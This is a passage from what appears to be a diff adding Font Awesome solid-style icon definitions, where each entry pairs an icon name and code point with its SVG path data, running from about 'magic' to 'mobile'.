"M344,150.68V16A16,16,0,0,0,328,0H312a16,16,0,0,0-16,16V150.68a46.45,46.45,0,0,1,48,0ZM195.54,444.46a48.06,48.06,0,0,1,0-67.88l8.58-8.58H192a48,48,0,0,1,0-96h12.12l-8.58-8.57a48,48,0,0,1,60.46-74V161.75C256,125.38,224.62,96,186,96c-44,0-58,28.5-80.12,63.13a819.52,819.52,0,0,0-102,231A113.16,113.16,0,0,0,0,419.75C0,481,62.5,525.26,125.25,508.38l59.5-15.87a98.51,98.51,0,0,0,52.5-34.75,46.49,46.49,0,0,1-41.71-13.3Zm226.29-22.63a16,16,0,0,0,0-22.62l-8.58-8.58C393.09,370.47,407.37,336,435.88,336H448a16,16,0,0,0,0-32H435.88c-28.51,0-42.79-34.47-22.63-54.62l8.58-8.58a16,16,0,0,0-22.63-22.63l-8.57,8.58C370.47,246.91,336,232.63,336,204.12V192a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.58c20.16,20.15,5.88,54.62-22.63,54.62H192a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.58a16,16,0,1,0,22.63,22.62l8.57-8.57C269.53,393.1,304,407.38,304,435.88V448a16,16,0,0,0,32,0V435.88c0-28.5,34.47-42.78,54.63-22.62l8.57,8.57a16,16,0,0,0,22.63,0ZM288,304a16,16,0,1,1,16-16A16,16,0,0,1,288,304Zm64,64a16,16,0,1,1,16-16A16,16,0,0,1,352,368Zm284.12,22.13a819.52,819.52,0,0,0-102-231C512,124.5,498,96,454,96c-38.62,0-70,29.38-70,65.75v27.72a48,48,0,0,1,60.46,74L435.88,272H448a48,48,0,0,1,0,96H435.88l8.58,8.58a47.7,47.7,0,0,1-41.71,81.18,98.51,98.51,0,0,0,52.5,34.75l59.5,15.87C577.5,525.26,640,481,640,419.75A113.16,113.16,0,0,0,636.12,390.13Z" ], + magic: [ 512, 512, [], "f0d0", "M224 96l16-32 32-16-32-16-16-32-16 32-32 16 32 16 16 32zM80 160l26.66-53.33L160 80l-53.34-26.67L80 0 53.34 53.33 0 80l53.34 26.67L80 160zm352 128l-26.66 53.33L352 368l53.34 26.67L432 448l26.66-53.33L512 368l-53.34-26.67L432 288zm70.62-193.77L417.77 9.38C411.53 3.12 403.34 0 395.15 0c-8.19 0-16.38 3.12-22.63 9.38L9.38 372.52c-12.5 12.5-12.5 32.76 0 45.25l84.85 84.85c6.25 6.25 14.44 9.37 22.62 9.37 8.19 0 16.38-3.12 22.63-9.37l363.14-363.15c12.5-12.48 12.5-32.75 0-45.24zM359.45 203.46l-50.91-50.91 86.6-86.6 50.91 50.91-86.6 86.6z" ], + magnet: [ 512, 512, [], "f076", "M164.07 148.1H12a12 12 0 0 1-12-12v-80a36 36 0 0 1 36-36h104a36 36 0 0 1 36 36v80a11.89 11.89 0 0 1-11.93 12zm347.93-12V56a36 36 0 0 0-36-36H372a36 36 0 0 0-36 36v80a12 12 0 0 0 12 12h152a11.89 11.89 0 0 0 12-11.9zm-164 44a12 12 0 0 0-12 12v52c0 128.1-160 127.9-160 0v-52a12 12 0 0 0-12-12H12.1a12 12 0 0 0-12 12.1c.1 21.4.6 40.3 0 53.3 0 150.6 136.17 246.6 256.75 246.6s255-96 255-246.7c-.6-12.8-.2-33 0-53.2a12 12 0 0 0-12-12.1z" ], + "mail-bulk": [ 576, 512, [], "f674", "M160 448c-25.6 0-51.2-22.4-64-32-64-44.8-83.2-60.8-96-70.4V480c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V345.6c-12.8 9.6-32 25.6-96 70.4-12.8 9.6-38.4 32-64 32zm128-192H32c-17.67 0-32 14.33-32 32v16c25.6 19.2 22.4 19.2 115.2 86.4 9.6 6.4 28.8 25.6 44.8 25.6s35.2-19.2 44.8-22.4c92.8-67.2 89.6-67.2 115.2-86.4V288c0-17.67-14.33-32-32-32zm256-96H224c-17.67 0-32 14.33-32 32v32h96c33.21 0 60.59 25.42 63.71 57.82l.29-.22V416h192c17.67 0 32-14.33 32-32V192c0-17.67-14.33-32-32-32zm-32 128h-64v-64h64v64zm-352-96c0-35.29 28.71-64 64-64h224V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v192h96v-32z" ], + male: [ 192, 512, [], "f183", "M96 0c35.346 0 64 28.654 64 64s-28.654 64-64 64-64-28.654-64-64S60.654 0 96 0m48 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H48c-26.51 0-48 21.49-48 48v136c0 13.255 10.745 24 24 24h16v136c0 13.255 10.745 24 24 24h64c13.255 0 24-10.745 24-24V352h16c13.255 0 24-10.745 24-24V192c0-26.51-21.49-48-48-48z" ], + map: [ 576, 512, [], "f279", "M0 117.66v346.32c0 11.32 11.43 19.06 21.94 14.86L160 416V32L20.12 87.95A32.006 32.006 0 0 0 0 117.66zM192 416l192 64V96L192 32v384zM554.06 33.16L416 96v384l139.88-55.95A31.996 31.996 0 0 0 576 394.34V48.02c0-11.32-11.43-19.06-21.94-14.86z" ], + "map-marked": [ 576, 512, [], "f59f", "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z" ], + "map-marked-alt": [ 576, 512, [], "f5a0", "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zm0 168c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z" ], + "map-marker": [ 384, 512, [], "f041", "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0z" ], + "map-marker-alt": [ 384, 512, [], "f3c5", "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z" ], + "map-pin": [ 288, 512, [], "f276", "M112 316.94v156.69l22.02 33.02c4.75 7.12 15.22 7.12 19.97 0L176 473.63V316.94c-10.39 1.92-21.06 3.06-32 3.06s-21.61-1.14-32-3.06zM144 0C64.47 0 0 64.47 0 144s64.47 144 144 144 144-64.47 144-144S223.53 0 144 0zm0 76c-37.5 0-68 30.5-68 68 0 6.62-5.38 12-12 12s-12-5.38-12-12c0-50.73 41.28-92 92-92 6.62 0 12 5.38 12 12s-5.38 12-12 12z" ], + "map-signs": [ 512, 512, [], "f277", "M507.31 84.69L464 41.37c-6-6-14.14-9.37-22.63-9.37H288V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v16H56c-13.25 0-24 10.75-24 24v80c0 13.25 10.75 24 24 24h385.37c8.49 0 16.62-3.37 22.63-9.37l43.31-43.31c6.25-6.26 6.25-16.38 0-22.63zM224 496c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V384h-64v112zm232-272H288v-32h-64v32H70.63c-8.49 0-16.62 3.37-22.63 9.37L4.69 276.69c-6.25 6.25-6.25 16.38 0 22.63L48 342.63c6 6 14.14 9.37 22.63 9.37H456c13.25 0 24-10.75 24-24v-80c0-13.25-10.75-24-24-24z" ], + marker: [ 512, 512, [], "f5a1", "M93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l75.4-75.4-128.02-128.02-75.4 75.4zM485.49 26.51c-35.35-35.35-92.67-35.35-128.02 0l-21.76 21.76-36.56-36.55c-15.62-15.62-40.95-15.62-56.56 0L138.47 115.84c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0l87.15-87.15 19.59 19.59L191.98 192 320 320.02l165.49-165.49c35.35-35.35 35.35-92.66 0-128.02z" ], + mars: [ 384, 512, [], "f222", "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c0-6.6-5.4-12-12-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + "mars-double": [ 512, 512, [], "f227", "M340 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C198.5 72.1 172.2 64 144 64 64.5 64 0 128.5 0 208s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.5 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 288c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm356-128.1h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7c-18.2-11.4-39-18.9-61.5-21.3-2.1 21.8-8.2 43.3-18.4 63.3 1.1 0 2.2-.1 3.2-.1 44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80c0-1.1 0-2.2.1-3.2-20 10.2-41.5 16.4-63.3 18.4C168.4 455.6 229.6 512 304 512c79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12v-79c0-6.7-5.4-12.1-12-12.1z" ], + "mars-stroke": [ 384, 512, [], "f229", "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-17.5 17.5-14.1-14.1c-4.7-4.7-12.3-4.7-17 0L224.5 133c-4.7 4.7-4.7 12.3 0 17l14.1 14.1-18 18c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l18-18 14.1 14.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L329.2 164l17.5-17.5 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c-.1-6.6-5.5-12-12.1-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + "mars-stroke-h": [ 480, 512, [], "f22b", "M476.2 247.5l-55.9-55.9c-7.6-7.6-20.5-2.2-20.5 8.5V224H376v-20c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v20h-27.6c-5.8-25.6-18.7-49.9-38.6-69.8C189.6 98 98.4 98 42.2 154.2c-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 19.9-19.9 32.8-44.2 38.6-69.8H312v20c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-20h23.9v23.9c0 10.7 12.9 16 20.5 8.5l55.9-55.9c4.6-4.7 4.6-12.3-.1-17zm-275.6 65.1c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z" ], + "mars-stroke-v": [ 288, 512, [], "f22a", "M245.8 234.2c-19.9-19.9-44.2-32.8-69.8-38.6v-25.4h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V81.4h23.9c10.7 0 16-12.9 8.5-20.5L152.5 5.1c-4.7-4.7-12.3-4.7-17 0L79.6 61c-7.6 7.6-2.2 20.5 8.5 20.5H112v24.7H92c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h20v25.4c-25.6 5.8-49.9 18.7-69.8 38.6-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 56.3-56.2 56.3-147.4 0-203.6zm-45.2 158.4c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z" ], + mask: [ 640, 512, [], "f6fa", "M320.67 64c-442.6 0-357.57 384-158.46 384 39.9 0 77.47-20.69 101.42-55.86l25.73-37.79c15.66-22.99 46.97-22.99 62.63 0l25.73 37.79C401.66 427.31 439.23 448 479.13 448c189.86 0 290.63-384-158.46-384zM184 308.36c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05zm272 0c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05z" ], + medal: [ 512, 512, [], "f5a2", "M223.75 130.75L154.62 15.54A31.997 31.997 0 0 0 127.18 0H16.03C3.08 0-4.5 14.57 2.92 25.18l111.27 158.96c29.72-27.77 67.52-46.83 109.56-53.39zM495.97 0H384.82c-11.24 0-21.66 5.9-27.44 15.54l-69.13 115.21c42.04 6.56 79.84 25.62 109.56 53.38L509.08 25.18C516.5 14.57 508.92 0 495.97 0zM256 160c-97.2 0-176 78.8-176 176s78.8 176 176 176 176-78.8 176-176-78.8-176-176-176zm92.52 157.26l-37.93 36.96 8.97 52.22c1.6 9.36-8.26 16.51-16.65 12.09L256 393.88l-46.9 24.65c-8.4 4.45-18.25-2.74-16.65-12.09l8.97-52.22-37.93-36.96c-6.82-6.64-3.05-18.23 6.35-19.59l52.43-7.64 23.43-47.52c2.11-4.28 6.19-6.39 10.28-6.39 4.11 0 8.22 2.14 10.33 6.39l23.43 47.52 52.43 7.64c9.4 1.36 13.17 12.95 6.35 19.59z" ], + medkit: [ 512, 512, [], "f0fa", "M96 480h320V128h-32V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v48H96v352zm96-384h128v32H192V96zm320 80v256c0 26.51-21.49 48-48 48h-16V128h16c26.51 0 48 21.49 48 48zM64 480H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v352zm288-208v32c0 8.837-7.163 16-16 16h-48v48c0 8.837-7.163 16-16 16h-32c-8.837 0-16-7.163-16-16v-48h-48c-8.837 0-16-7.163-16-16v-32c0-8.837 7.163-16 16-16h48v-48c0-8.837 7.163-16 16-16h32c8.837 0 16 7.163 16 16v48h48c8.837 0 16 7.163 16 16z" ], + meh: [ 496, 512, [], "f11a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm176 192H152c-21.2 0-21.2-32 0-32h192c21.2 0 21.2 32 0 32zm-16-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "meh-blank": [ 496, 512, [], "f5a4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "meh-rolling-eyes": [ 496, 512, [], "f5a5", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 224c0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64s-64-28.7-64-64zm224 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-112c-35.3 0-64-28.7-64-64 0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64z" ], + memory: [ 640, 512, [], "f538", "M640 130.94V96c0-17.67-14.33-32-32-32H32C14.33 64 0 78.33 0 96v34.94c18.6 6.61 32 24.19 32 45.06s-13.4 38.45-32 45.06V320h640v-98.94c-18.6-6.61-32-24.19-32-45.06s13.4-38.45 32-45.06zM224 256h-64V128h64v128zm128 0h-64V128h64v128zm128 0h-64V128h64v128zM0 448h64v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h64v-96H0v96z" ], + menorah: [ 640, 512, [], "f676", "M144 128h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm192 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm80-32c17.67 0 32-14.33 32-32S608 0 608 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S512 0 512 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S416 0 416 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S320 0 320 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S224 0 224 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S128 0 128 0 96 46.33 96 64s14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S32 0 32 0 0 46.33 0 64s14.33 32 32 32zm544 192c0 17.67-14.33 32-32 32H352V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v176H96c-17.67 0-32-14.33-32-32V144c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v144c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v144z" ], + mercury: [ 288, 512, [], "f223", "M288 208c0-44.2-19.9-83.7-51.2-110.1 2.5-1.8 4.9-3.8 7.2-5.8 24.7-21.2 39.8-48.8 43.2-78.8.9-7.1-4.7-13.3-11.9-13.3h-40.5C229 0 224.1 4.1 223 9.8c-2.4 12.5-9.6 24.3-20.7 33.8C187 56.8 166.3 64 144 64s-43-7.2-58.4-20.4C74.5 34.1 67.4 22.3 64.9 9.8 63.8 4.1 58.9 0 53.2 0H12.7C5.5 0-.1 6.2.8 13.3 4.2 43.4 19.2 71 44 92.2c2.3 2 4.7 3.9 7.2 5.8C19.9 124.3 0 163.8 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z" ], + meteor: [ 512, 512, [], "f753", "M511.328,20.8027c-11.60759,38.70264-34.30724,111.70173-61.30311,187.70077,6.99893,2.09372,13.4042,4,18.60653,5.59368a16.06158,16.06158,0,0,1,9.49854,22.906c-22.106,42.29635-82.69047,152.795-142.47819,214.40356-.99984,1.09373-1.99969,2.5-2.99954,3.49995A194.83046,194.83046,0,1,1,57.085,179.41009c.99985-1,2.40588-2,3.49947-3,61.59994-59.90549,171.97367-120.40473,214.37343-142.4982a16.058,16.058,0,0,1,22.90274,9.49988c1.59351,5.09368,3.49947,11.5936,5.5929,18.59351C379.34818,35.00565,452.43074,12.30281,491.12794.70921A16.18325,16.18325,0,0,1,511.328,20.8027ZM319.951,320.00207A127.98041,127.98041,0,1,0,191.97061,448.00046,127.97573,127.97573,0,0,0,319.951,320.00207Zm-127.98041-31.9996a31.9951,31.9951,0,1,1-31.9951-31.9996A31.959,31.959,0,0,1,191.97061,288.00247Zm31.9951,79.999a15.99755,15.99755,0,1,1-15.99755-15.9998A16.04975,16.04975,0,0,1,223.96571,368.00147Z" ], + microchip: [ 512, 512, [], "f2db", "M416 48v416c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h224c26.51 0 48 21.49 48 48zm96 58v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42V88h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zM30 376h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6z" ], + microphone: [ 352, 512, [], "f130", "M176 352c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96zm160-160h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16z" ], + "microphone-alt": [ 352, 512, [], "f3c9", "M336 192h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16zM176 352c53.02 0 96-42.98 96-96h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96z" ], + "microphone-alt-slash": [ 640, 512, [], "f539", "M633.82 458.1L476.26 336.33C488.74 312.21 496 284.98 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67h-43.67l-41.4-32H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.78c11.71-1.62 23.1-4.28 33.96-8.08l-50.4-38.96c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z" ], + "microphone-slash": [ 640, 512, [], "f131", "M633.82 458.1l-157.8-121.96C488.61 312.13 496 285.01 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67V96c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.77c11.66-1.6 22.85-4.54 33.67-8.31l-50.11-38.73c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z" ], + microscope: [ 512, 512, [], "f610", "M160 320h12v16c0 8.84 7.16 16 16 16h40c8.84 0 16-7.16 16-16v-16h12c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32V16c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v16c-17.67 0-32 14.33-32 32v224c0 17.67 14.33 32 32 32zm304 128h-1.29C493.24 413.99 512 369.2 512 320c0-105.88-86.12-192-192-192v64c70.58 0 128 57.42 128 128s-57.42 128-128 128H48c-26.51 0-48 21.49-48 48 0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48zm-360-32h208c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8H104c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8z" ], + minus: [ 448, 512, [], "f068", "M416 208H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" ], + "minus-circle": [ 512, 512, [], "f056", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z" ], + "minus-square": [ 448, 512, [], "f146", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM92 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H92z" ], + mitten: [ 448, 512, [], "f7b5", "M368 416H48c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16zm57-209.1c-27.2-22.6-67.5-19-90.1 8.2l-20.9 25-29.6-128.4c-18-77.5-95.4-125.9-172.8-108C34.2 21.6-14.2 98.9 3.7 176.4L51.6 384h309l72.5-87c22.7-27.2 19-67.5-8.1-90.1z" ], + mobile: [ 320, 512, [], "f10b", "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 